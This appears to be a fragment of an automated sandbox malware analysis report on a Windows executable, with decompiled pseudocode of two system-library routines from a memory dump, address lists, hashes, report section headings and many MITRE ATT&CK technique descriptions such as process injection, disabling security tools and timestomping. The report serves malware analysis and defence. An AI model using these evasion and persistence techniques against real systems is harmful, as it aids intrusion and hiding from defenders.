				}
				return _t44;
			}

0x6d26fd29
0x6d26fd2b
0x6d26fd2d
0x6d26fd33
0x6d26fd8c
0x6d26fd8c
0x6d26fd35
0x6d26fd35
0x6d26fd3a
0x00000000
0x6d26fd3c
0x6d26fd3e
0x6d26fd76
0x6d26fd76
0x6d26fd40
0x6d26fd40
0x6d26fd45
0x6d2b480b
0x6d2b4811
0x6d2b4811
0x6d26fd4b
0x6d26fd4e
0x6d26fd51
0x6d26fd54
0x6d26fd5a
0x6d26fd5d
0x6d26fd62
0x6d26fd65
0x6d26fd65
0x6d26fd6b
0x6d26fd87
0x6d26fd87
0x6d26fd70
0x6d2b4822
0x6d2b4829
0x6d2b482f
0x6d2b4834
0x6d2b48dc
0x6d2b48dc
0x6d2b483a
0x6d2b4851
0x6d2b485e
0x6d2b4865
0x6d2b486b
0x6d2b486e
0x6d2b4871
0x6d2b4874
0x6d2b4879
0x00000000
0x6d2b4887
0x6d2b4887
0x6d2b4889
0x6d2b488c
0x6d2b4891
0x00000000
0x6d2b4893
0x6d2b4893
0x6d2b4898
0x00000000
0x6d2b48a2
0x6d2b48a2
0x6d2b48a6
0x00000000
0x6d2b48b2
0x6d2b48b2
0x6d2b48b6
0x00000000
0x6d2b48bc
0x6d2b48bc
0x6d2b48c1
0x00000000
0x6d2b48ca
0x6d2b48cf
0x6d2b48d4
0x00000000
0x6d2b48d4
0x6d2b48c1
0x6d2b48b6
0x6d2b48a6
0x6d2b4898
0x6d2b4891
0x6d2b4879
0x6d2b4865
0x6d2b4834
0x00000000
0x00000000
0x00000000
0x6d26fd70
0x6d26fd3e
0x6d26fd3a
0x6d26fd7e

APIs

RtlAddRefActivationContext.1105(?,%*&m,00000000,00000000,%*&m,?,?,?,?), ref: 6D26FD5D

Strings

SsHd, xrefs: 6D2B489A
%*&m, xrefs: 6D26FD30

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: ActivationContext
String ID: %*&m$SsHd
API String ID: 2448800588-2549031475
Opcode ID: fd4f43c3b36b27ac954aa972ee69916a45d713d81fa7fc68d9d4ece6301a3074
Instruction ID: 99073f390f3ac8532a9d45c32ab6eae9b78992bebc9772ef81491454d4e185c7
Opcode Fuzzy Hash: fd4f43c3b36b27ac954aa972ee69916a45d713d81fa7fc68d9d4ece6301a3074
Instruction Fuzzy Hash: 1A41A471785B4B9FDB14CE58C8C0A6BB3F5BF89788B25852DD805CB204E771F9928B90

Uniqueness

Uniqueness Score: -1.00%

Function 6D253133, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
COMMON

Download Yara Rule

C-Code - Quality: 24%

			E6D253133(void* __ecx, signed short* __edx, struct _EXCEPTION_RECORD _a4) {
				void* _t20;
				void* _t24;
				intOrPtr _t31;
				signed int _t32;
				struct _EXCEPTION_RECORD _t33;
				signed int _t35;
				signed int _t37;
				void* _t39;
				signed int _t42;
				void* _t43;

				_t43 = 0;
				_t39 = __ecx;
				if(__ecx == 0 || __edx == 0) {
					L13:
					return 0xc000000d;
				} else {
					_t33 = _a4;
					if(_t33 == 0) {
						goto L13;
					}
					_t20 = ( *__edx & 0x0000ffff) - 1;
					if(_t20 == 0) {
						_push(_t33);
						_push(__edx[2]);
						L11:
						if(E6D253B30() != 0) {
							L8:
							return _t43;
						}
						L12:
						_t43 = 0xc00000e5;
						goto L8;
					}
					_t24 = _t20 - 1;
					if(_t24 != 0) {
						if(_t24 != 1) {
							goto L12;
						}
						_t35 = __edx[2];
						L7:
						RtlInitUnicodeString(_t33,  *((intOrPtr*)( *((intOrPtr*)(_t39 + 0x18)) + 0x10)) +  *( *((intOrPtr*)( *((intOrPtr*)(_t39 + 0x18)) + 0xc)) + _t35 * 2) * 2);
						goto L8;
					}
					_t37 = __edx[2] * 0x1c;
					_t31 =  *((intOrPtr*)( *((intOrPtr*)(__ecx + 0x14)) + 0xc));
					_t42 =  *(_t37 + _t31 + 4) & 0x0000ffff;
					_t32 =  *(_t37 + _t31 + 6) & 0x0000ffff;
					if(_t32 <= 0) {
						if(_t42 == 0) {
							goto L12;
						}
						_push(_t33);
						_push(_t42);
						goto L11;
					}
					_t35 = _t32;
					goto L7;
				}
			}

0x6d25313d
0x6d25313f
0x6d253143
0x6d2531ba
0x00000000
0x6d253149
0x6d253149
0x6d25314e
0x00000000
0x00000000
0x6d253153
0x6d253156
0x6d2531a8
0x6d2531a9
0x6d2531aa
0x6d2531b1
0x6d25319b
0x00000000
0x6d25319b
0x6d2531b3
0x6d2531b3
0x00000000
0x6d2531b3
0x6d253158
0x6d25315b
0x6d2a7d38
0x00000000
0x00000000
0x6d2a7d3e
0x6d253184
0x6d253196
0x00000000
0x6d253196
0x6d253165
0x6d25316b
0x6d25316e
0x6d253173
0x6d25317b
0x6d2a7d4a
0x00000000
0x00000000
0x6d2a7d50
0x6d2a7d51
0x00000000
0x6d2a7d51
0x6d253181
0x00000000
0x6d253181

APIs

RtlInitUnicodeString.1105(00000019,MUI,00000000,00000000,?,?,6D2A7258,00AA0000,00000019,00000000,?,00000000,?), ref: 6D253196
RtlLCIDToCultureName.1105(00000000,00000019,00000000,00000000,?,?,6D2A7258,00AA0000,00000019,00000000,?,00000000,?), ref: 6D2531AA

Strings

MUI, xrefs: 6D253194

Memory Dump Source

Source File: 00000017.00000002.879476866.000000006D221000.00000020.00020000.sdmp, Offset: 6D220000, based on PE: true

Associated: 00000017.00000002.879442017.000000006D220000.00000002.00020000.sdmp Download File
Associated: 00000017.00000002.880585379.000000006D335000.00000008.00020000.sdmp Download File
Associated: 00000017.00000002.880621684.000000006D33B000.00000004.00020000.sdmp Download File
Associated: 00000017.00000002.880660522.000000006D33F000.00000002.00020000.sdmp Download File

Similarity

API ID: CultureInitNameStringUnicode
String ID: MUI
API String ID: 1955113178-1339004836
Opcode ID: b148107db77440740e112408760f362148deed0b49e05f0a52e224777d334ee2
Instruction ID: 8c136f21d361ae35dfd2b33288954765f66bf25e28d54c423b8497b1ed81593b
Opcode Fuzzy Hash: b148107db77440740e112408760f362148deed0b49e05f0a52e224777d334ee2
Instruction Fuzzy Hash: F711C17268491B56D3048F6DCA94D36F3A9FB82B96702D06AEC048B601DB21DC61C3A0

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry. Service configurations can be modified using utilities such as sc.exe and Reg .
Tactics:	Persistence, Privilege Escalation
Data Sources:	API monitoring, File monitoring, Process command-line parameters, Process monitoring, Windows Registry, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report y4oMrtO1Mt.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Boot Survival:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

Network Behavior

Network Port Distribution

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre